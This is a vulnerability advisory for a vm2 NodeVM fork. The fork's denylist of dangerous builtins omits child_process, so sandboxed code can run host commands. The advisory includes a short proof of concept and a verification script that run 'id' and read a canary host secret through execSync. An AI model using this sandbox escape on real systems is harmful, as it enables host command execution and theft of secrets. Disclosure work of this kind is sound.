CVE-2026-93605

vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.

This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly, the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process, the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process, which spawns host processes more directly, is not.

Details

lib/builtin.js:

• DANGEROUS_BUILTINS (lines 83‑179), the Set of denied builtins. child_process does not appear anywhere in it.
• isDangerousBuiltin(key) (lines 185‑195), strips node: prefixes and applies family‑prefix matching against DANGEROUS_BUILTINS. Returns false for child_process.
• BUILTIN_MODULES (lines 209‑210), the source list that the '*' wildcard expands to, is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('child_process') is false, child_process remains in '*'.
• addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['child_process'] is admitted as well.

The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them", the invariant child_process violates.

PoC

const { NodeVM } = require('vm2');

const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
  module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');

console.log(r);   // -> "uid=1000(user) gid=1000(user) groups=..."   host command execution

Verified results:

builtin-child_process-denylist-gap-rce.js

'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming, module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ..., but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));

process.env.HOST_ONLY_SECRET = 'CANARY123';   // host-only; sandbox process stub has env:{}

function tryConfig(label, opts) {
  try {
    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
      try {
        const cp = require('child_process');
        return {
          reached: true,
          id: cp.execSync('id').toString().trim(),
          hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
        };
      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
    })()`, 'plugin.js');
    console.log(label, '=>', JSON.stringify(r));
    return r;
  } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}

console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']}        ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']}  ", { require: { builtin: ['*', '-fs'] } });   // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } });          // control: not allowed -> denied

const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
        && b && b.reached
        && c && c.reached === false;
console.log(ok
  ? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
  : "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);